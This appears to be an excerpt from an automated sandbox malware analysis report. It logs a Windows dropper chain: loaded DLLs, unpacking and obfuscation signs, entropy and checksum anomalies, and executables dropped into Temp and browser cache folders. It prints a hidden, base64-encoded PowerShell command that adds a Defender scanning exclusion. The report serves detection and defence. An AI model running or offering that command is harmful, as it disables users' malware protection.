Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll

Source: C:\Users\user\Desktop\fkawMJ7FH8.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Cleaner.lnk.32.dr

LNK file: ..\AppData\Local\Temp\VsweF4WV22ueuvrv1eDSCB2tK55F\Y-Cleaner.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: fkawMJ7FH8.exe

Static file information: File size 1897472 > 1048576

Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: fkawMJ7FH8.exe

Static PE information: Raw size of snrlvfpm is bigger than: 0x100000 < 0x19d800

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Unpacked PE file: 1.2.fkawMJ7FH8.exe.bf0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;snrlvfpm:EW;qdkghlei:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;snrlvfpm:EW;qdkghlei:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 2.2.axplong.exe.530000.0.unpack :EW;.rsrc:W;.idata :W; :EW;snrlvfpm:EW;qdkghlei:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;snrlvfpm:EW;qdkghlei:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Unpacked PE file: 4.2.axplong.exe.530000.0.unpack :EW;.rsrc:W;.idata :W; :EW;snrlvfpm:EW;qdkghlei:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;snrlvfpm:EW;qdkghlei:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Unpacked PE file: 29.2.24adfe999c.exe.7f0000.0.unpack :EW;.rsrc:W;.idata :W;tumlwnkw:EW;twdpfarl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;tumlwnkw:EW;twdpfarl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Unpacked PE file: 30.2.aec9ffe5ce.exe.130000.0.unpack :EW;.rsrc:W;.idata :W;fficecxo:EW;qigjcqak:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;fficecxo:EW;qigjcqak:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Unpacked PE file: 31.2.24adfe999c.exe.7f0000.0.unpack :EW;.rsrc:W;.idata :W;tumlwnkw:EW;twdpfarl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;tumlwnkw:EW;twdpfarl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Unpacked PE file: 32.2.ba327bb7fd.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;iyuktxhn:EW;oqqoprkb:EW;.taggant:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Unpacked PE file: 35.2.24adfe999c.exe.7f0000.0.unpack :EW;.rsrc:W;.idata :W;tumlwnkw:EW;twdpfarl:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;tumlwnkw:EW;twdpfarl:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 41.2.skotes.exe.d90000.0.unpack :EW;.rsrc:W;.idata :W;fficecxo:EW;qigjcqak:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;fficecxo:EW;qigjcqak:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Unpacked PE file: 42.2.ba327bb7fd.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;iyuktxhn:EW;oqqoprkb:EW;.taggant:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Unpacked PE file: 44.2.ba327bb7fd.exe.400000.0.unpack :EW;.rsrc:W;.idata :W; :EW;iyuktxhn:EW;oqqoprkb:EW;.taggant:EW; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAbgBoAGoANAAzAGoAcgB4AHoAYgBsAE8ASgBYAFEATQBOAEkAUQAnAA==
Source: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAdABpAG4AYQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAbgBoAGoANAAzAGoAcgB4AHoAYgBsAE8ASgBYAFEATQBOAEkAUQAnAA==

Source: Y-Cleaner.exe.32.dr

Static PE information: 0xA0CED55F [Tue Jun 29 19:19:59 2055 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: daw21[1].exe.4.dr	Static PE information: real checksum: 0x0 should be: 0x43929
Source: defnur.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x79814
Source: random[1].exe.4.dr	Static PE information: real checksum: 0x2b522f should be: 0x2b1abf
Source: dll[1].32.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: 24adfe999c.exe.4.dr	Static PE information: real checksum: 0x2b522f should be: 0x2b1abf
Source: daw21.exe.4.dr	Static PE information: real checksum: 0x0 should be: 0x43929
Source: axplong.exe.1.dr	Static PE information: real checksum: 0x1d7239 should be: 0x1d2449
Source: random[1].exe2.4.dr	Static PE information: real checksum: 0x4520a6 should be: 0x455a98
Source: SurveillanceWalls.exe.4.dr	Static PE information: real checksum: 0x13aed5 should be: 0x14afb9
Source: clip64.dll.33.dr	Static PE information: real checksum: 0x0 should be: 0x26304
Source: mdjw5me[1].exe.41.dr	Static PE information: real checksum: 0x0 should be: 0x84bea
Source: random[1].exe0.4.dr	Static PE information: real checksum: 0x3147a4 should be: 0x30e3d8
Source: I0XmI2t.exe.41.dr	Static PE information: real checksum: 0x0 should be: 0x2fb3e7
Source: aec9ffe5ce.exe.4.dr	Static PE information: real checksum: 0x3147a4 should be: 0x30e3d8
Source: I0XmI2t[1].exe.41.dr	Static PE information: real checksum: 0x0 should be: 0x2fb3e7
Source: 7385f65012.exe.41.dr	Static PE information: real checksum: 0x1d5977 should be: 0x1d1f8d
Source: ba327bb7fd.exe.4.dr	Static PE information: real checksum: 0x1d608e should be: 0x1dc178
Source: random[2].exe0.41.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: 530c1fe82f.exe.4.dr	Static PE information: real checksum: 0x4520a6 should be: 0x455a98
Source: clip64[1].dll.33.dr	Static PE information: real checksum: 0x0 should be: 0x26304
Source: am209[1].exe.4.dr	Static PE information: real checksum: 0x0 should be: 0x79814
Source: Bunifu_UI_v1.5.3.dll.32.dr	Static PE information: real checksum: 0x0 should be: 0x400e1
Source: legs[1].exe.4.dr	Static PE information: real checksum: 0x0 should be: 0xccc7f
Source: fkawMJ7FH8.exe	Static PE information: real checksum: 0x1d7239 should be: 0x1d2449
Source: random[1].exe1.4.dr	Static PE information: real checksum: 0x1d608e should be: 0x1dc178
Source: am209.exe.4.dr	Static PE information: real checksum: 0x0 should be: 0x79814
Source: legs.exe.4.dr	Static PE information: real checksum: 0x0 should be: 0xccc7f
Source: goldddd123.exe.4.dr	Static PE information: real checksum: 0x0 should be: 0xc5a45
Source: goldddd123[1].exe.4.dr	Static PE information: real checksum: 0x0 should be: 0xc5a45
Source: freebl3[1].dll.31.dr	Static PE information: real checksum: 0xafdcb should be: 0x19ddc
Source: skotes.exe.30.dr	Static PE information: real checksum: 0x3147a4 should be: 0x30e3d8
Source: soft[1].32.dr	Static PE information: real checksum: 0x0 should be: 0x170243
Source: freebl3.dll.31.dr	Static PE information: real checksum: 0xafdcb should be: 0x19ddc
Source: SurveillanceWalls[1].exe.4.dr	Static PE information: real checksum: 0x13aed5 should be: 0x14afb9
Source: random[2].exe1.41.dr	Static PE information: real checksum: 0x1d5977 should be: 0x1d1f8d
Source: Y-Cleaner.exe.32.dr	Static PE information: real checksum: 0x0 should be: 0x170243
Source: mdjw5me.exe.41.dr	Static PE information: real checksum: 0x0 should be: 0x84bea
Source: c12f8f2854.exe.41.dr	Static PE information: real checksum: 0x0 should be: 0xc8597

Source: fkawMJ7FH8.exe	Static PE information: section name:
Source: fkawMJ7FH8.exe	Static PE information: section name: .idata
Source: fkawMJ7FH8.exe	Static PE information: section name:
Source: fkawMJ7FH8.exe	Static PE information: section name: snrlvfpm
Source: fkawMJ7FH8.exe	Static PE information: section name: qdkghlei
Source: fkawMJ7FH8.exe	Static PE information: section name: .taggant
Source: axplong.exe.1.dr	Static PE information: section name:
Source: axplong.exe.1.dr	Static PE information: section name: .idata
Source: axplong.exe.1.dr	Static PE information: section name:
Source: axplong.exe.1.dr	Static PE information: section name: snrlvfpm
Source: axplong.exe.1.dr	Static PE information: section name: qdkghlei
Source: axplong.exe.1.dr	Static PE information: section name: .taggant
Source: random[1].exe.4.dr	Static PE information: section name:
Source: random[1].exe.4.dr	Static PE information: section name: .idata
Source: random[1].exe.4.dr	Static PE information: section name: tumlwnkw
Source: random[1].exe.4.dr	Static PE information: section name: twdpfarl
Source: random[1].exe.4.dr	Static PE information: section name: .taggant
Source: 24adfe999c.exe.4.dr	Static PE information: section name:
Source: 24adfe999c.exe.4.dr	Static PE information: section name: .idata
Source: 24adfe999c.exe.4.dr	Static PE information: section name: tumlwnkw
Source: 24adfe999c.exe.4.dr	Static PE information: section name: twdpfarl
Source: 24adfe999c.exe.4.dr	Static PE information: section name: .taggant
Source: random[1].exe0.4.dr	Static PE information: section name:
Source: random[1].exe0.4.dr	Static PE information: section name: .idata
Source: random[1].exe0.4.dr	Static PE information: section name: fficecxo
Source: random[1].exe0.4.dr	Static PE information: section name: qigjcqak
Source: random[1].exe0.4.dr	Static PE information: section name: .taggant
Source: aec9ffe5ce.exe.4.dr	Static PE information: section name:
Source: aec9ffe5ce.exe.4.dr	Static PE information: section name: .idata
Source: aec9ffe5ce.exe.4.dr	Static PE information: section name: fficecxo
Source: aec9ffe5ce.exe.4.dr	Static PE information: section name: qigjcqak
Source: aec9ffe5ce.exe.4.dr	Static PE information: section name: .taggant
Source: random[1].exe1.4.dr	Static PE information: section name:
Source: random[1].exe1.4.dr	Static PE information: section name: .idata
Source: random[1].exe1.4.dr	Static PE information: section name:
Source: random[1].exe1.4.dr	Static PE information: section name: iyuktxhn
Source: random[1].exe1.4.dr	Static PE information: section name: oqqoprkb
Source: random[1].exe1.4.dr	Static PE information: section name: .taggant
Source: ba327bb7fd.exe.4.dr	Static PE information: section name:
Source: ba327bb7fd.exe.4.dr	Static PE information: section name: .idata
Source: ba327bb7fd.exe.4.dr	Static PE information: section name:
Source: ba327bb7fd.exe.4.dr	Static PE information: section name: iyuktxhn
Source: ba327bb7fd.exe.4.dr	Static PE information: section name: oqqoprkb
Source: ba327bb7fd.exe.4.dr	Static PE information: section name: .taggant
Source: random[1].exe2.4.dr	Static PE information: section name:
Source: random[1].exe2.4.dr	Static PE information: section name: .idata
Source: random[1].exe2.4.dr	Static PE information: section name:
Source: random[1].exe2.4.dr	Static PE information: section name: xxuhznbt
Source: random[1].exe2.4.dr	Static PE information: section name: ewnmsqqp
Source: random[1].exe2.4.dr	Static PE information: section name: .taggant
Source: 530c1fe82f.exe.4.dr	Static PE information: section name:
Source: 530c1fe82f.exe.4.dr	Static PE information: section name: .idata
Source: 530c1fe82f.exe.4.dr	Static PE information: section name:
Source: 530c1fe82f.exe.4.dr	Static PE information: section name: xxuhznbt
Source: 530c1fe82f.exe.4.dr	Static PE information: section name: ewnmsqqp
Source: 530c1fe82f.exe.4.dr	Static PE information: section name: .taggant
Source: skotes.exe.30.dr	Static PE information: section name:
Source: skotes.exe.30.dr	Static PE information: section name: .idata
Source: skotes.exe.30.dr	Static PE information: section name: fficecxo
Source: skotes.exe.30.dr	Static PE information: section name: qigjcqak
Source: skotes.exe.30.dr	Static PE information: section name: .taggant
Source: freebl3.dll.31.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.31.dr	Static PE information: section name: .00cfg
Source: client[1].exe.41.dr	Static PE information: section name: _RDATA
Source: client.exe.41.dr	Static PE information: section name: _RDATA
Source: I0XmI2t[1].exe.41.dr	Static PE information: section name:
Source: I0XmI2t[1].exe.41.dr	Static PE information: section name:
Source: I0XmI2t[1].exe.41.dr	Static PE information: section name:
Source: I0XmI2t[1].exe.41.dr	Static PE information: section name:
Source: I0XmI2t[1].exe.41.dr	Static PE information: section name:
Source: I0XmI2t[1].exe.41.dr	Static PE information: section name:
Source: I0XmI2t[1].exe.41.dr	Static PE information: section name:
Source: I0XmI2t[1].exe.41.dr	Static PE information: section name:
Source: I0XmI2t.exe.41.dr	Static PE information: section name:
Source: I0XmI2t.exe.41.dr	Static PE information: section name:
Source: I0XmI2t.exe.41.dr	Static PE information: section name:
Source: I0XmI2t.exe.41.dr	Static PE information: section name:
Source: I0XmI2t.exe.41.dr	Static PE information: section name:
Source: I0XmI2t.exe.41.dr	Static PE information: section name:
Source: I0XmI2t.exe.41.dr	Static PE information: section name:
Source: I0XmI2t.exe.41.dr	Static PE information: section name:
Source: random[2].exe.41.dr	Static PE information: section name: .fptable
Source: 6d3d2bb3d5.exe.41.dr	Static PE information: section name: .fptable
Source: random[2].exe1.41.dr	Static PE information: section name:
Source: random[2].exe1.41.dr	Static PE information: section name: .idata
Source: random[2].exe1.41.dr	Static PE information: section name:
Source: random[2].exe1.41.dr	Static PE information: section name: aseoxclk
Source: random[2].exe1.41.dr	Static PE information: section name: dunhoeap
Source: random[2].exe1.41.dr	Static PE information: section name: .taggant
Source: 7385f65012.exe.41.dr	Static PE information: section name:
Source: 7385f65012.exe.41.dr	Static PE information: section name: .idata
Source: 7385f65012.exe.41.dr	Static PE information: section name:
Source: 7385f65012.exe.41.dr	Static PE information: section name: aseoxclk
Source: 7385f65012.exe.41.dr	Static PE information: section name: dunhoeap
Source: 7385f65012.exe.41.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Code function: 4_2_0054D84C push ecx; ret	4_2_0054D85F
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 8_2_0093534A push ecx; ret	8_2_0093535D
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_0014A1E1 push ecx; ret	10_2_0014A1F4
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_0013750F pushad ; iretd	10_2_00137510
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_00133586 pushad ; ret	10_2_0013358D
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Code function: 10_2_0013E726 pushad ; iretd	10_2_0013E72E
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: 11_2_007AA1E1 push ecx; ret	11_2_007AA1F4
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: 11_2_0079750F pushad ; iretd	11_2_00797510
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Code function: 11_2_00793586 pushad ; ret	11_2_0079358D
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 12_3_007BCA58 push esp; retf 007Bh	12_3_007BCA59
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 12_3_007BCA58 push esp; retf 007Bh	12_3_007BCA59
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 12_3_007BCA58 push esp; retf 007Bh	12_3_007BCA59
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 12_3_007BCA58 push esp; retf 007Bh	12_3_007BCA59
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 12_3_007BCA58 push esp; retf 007Bh	12_3_007BCA59
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 12_3_007BCA58 push esp; retf 007Bh	12_3_007BCA59
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 12_3_007BCA58 push esp; retf 007Bh	12_3_007BCA59
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 12_3_007BCA58 push esp; retf 007Bh	12_3_007BCA59
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 12_3_007BCA58 push esp; retf 007Bh	12_3_007BCA59
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 12_3_007BDF54 push ecx; retf	12_3_007BDF59
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 12_3_007BDF54 push ecx; retf	12_3_007BDF59
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 12_3_007BDF54 push ecx; retf	12_3_007BDF59
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 12_3_007BDF54 push ecx; retf	12_3_007BDF59
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 12_3_007BDF54 push ecx; retf	12_3_007BDF59
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 12_3_007BDF54 push ecx; retf	12_3_007BDF59
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 12_3_007BDF54 push ecx; retf	12_3_007BDF59
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 12_3_007BDF54 push ecx; retf	12_3_007BDF59
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 12_3_007BDF54 push ecx; retf	12_3_007BDF59
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 12_3_007BCA48 push esp; retf 007Bh	12_3_007BCA55
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 12_3_007BCA48 push esp; retf 007Bh	12_3_007BCA55
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 12_3_007BCA48 push esp; retf 007Bh	12_3_007BCA55
Source: C:\Users\user\AppData\Local\Temp\1001527001\legs.exe	Code function: 12_3_007BCA48 push esp; retf 007Bh	12_3_007BCA55

Source: fkawMJ7FH8.exe	Static PE information: section name: entropy: 7.985933869345748
Source: fkawMJ7FH8.exe	Static PE information: section name: snrlvfpm entropy: 7.953108663480486
Source: axplong.exe.1.dr	Static PE information: section name: entropy: 7.985933869345748
Source: axplong.exe.1.dr	Static PE information: section name: snrlvfpm entropy: 7.953108663480486
Source: random[1].exe0.4.dr	Static PE information: section name: entropy: 7.1072989480046544
Source: aec9ffe5ce.exe.4.dr	Static PE information: section name: entropy: 7.1072989480046544
Source: random[1].exe1.4.dr	Static PE information: section name: iyuktxhn entropy: 7.9469759557597275
Source: ba327bb7fd.exe.4.dr	Static PE information: section name: iyuktxhn entropy: 7.9469759557597275
Source: random[1].exe2.4.dr	Static PE information: section name: xxuhznbt entropy: 7.956700776729312
Source: 530c1fe82f.exe.4.dr	Static PE information: section name: xxuhznbt entropy: 7.956700776729312
Source: skotes.exe.30.dr	Static PE information: section name: entropy: 7.1072989480046544
Source: Y-Cleaner.exe.32.dr	Static PE information: section name: .text entropy: 7.918511524700298
Source: soft[1].32.dr	Static PE information: section name: .text entropy: 7.918511524700298
Source: random[2].exe1.41.dr	Static PE information: section name: entropy: 7.9770039853719545
Source: random[2].exe1.41.dr	Static PE information: section name: aseoxclk entropy: 7.953504917666834
Source: 7385f65012.exe.41.dr	Static PE information: section name: entropy: 7.9770039853719545
Source: 7385f65012.exe.41.dr	Static PE information: section name: aseoxclk entropy: 7.953504917666834

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\370821\Sale.com

Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1021127001\client.exe	Jump to dropped file
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	File created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\goldddd123[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\dll[1]	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1021118001\6d3d2bb3d5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1008212001\daw21.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	File created: C:\Users\user\AppData\Local\Temp\VsweF4WV22ueuvrv1eDSCB2tK55F\Bunifu_UI_v1.5.3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	File created: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\daw21[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\client[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\legs[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1021126001\9c3c41d9d5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1008170001\SurveillanceWalls.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\I0XmI2t[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\SurveillanceWalls[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\mdjw5me[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\am209[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\370821\Sale.com	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	File created: C:\Users\user\AppData\Local\Temp\VsweF4WV22ueuvrv1eDSCB2tK55F\Y-Cleaner.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	File created: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Jump to dropped file
